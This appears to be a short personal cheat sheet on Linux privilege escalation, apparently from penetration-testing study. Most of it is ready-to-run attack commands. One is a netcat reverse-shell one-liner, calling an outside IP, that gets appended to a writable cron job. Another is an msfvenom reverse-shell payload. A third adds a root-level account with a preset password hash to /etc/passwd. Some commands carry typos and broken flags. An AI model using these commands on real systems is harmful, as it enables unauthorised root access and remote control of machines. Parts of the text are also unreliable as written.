Linux Escalate
Crontab
Check crontab:
Crontab -l
cat /etc/crontab
Check cron logs:
Cat /var/logs/crontab.log
Check permissions of file:
Ls -all FILE
Example vulnerable crontab with a wriateable path of /usr/local/bin:
Add injectable into cron job:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.119.224 8008 >/tmp/f" >> CRON JOB
OR
create shell and copy to good location:
msfvenom -p linux/x64/shell_reverse_tcp lhost=IP lport=PORT -l elf-so -o run-parts
Writable paths
check for paths that systemd writes to, any path that crontab is using, any writable services etc
/usr/local/bin
/usr/bin
etc/passwd
Check for /etc/passwd RW using ls -al. If vulnerable, create password:
openssl passwd P@ssw0rd
add to /etc/passwd:
echo "rooted:O2dKjKQQCeuQE:0:0:root:/root:/bin/bash" >> /etc/passwd
Docker
Last updated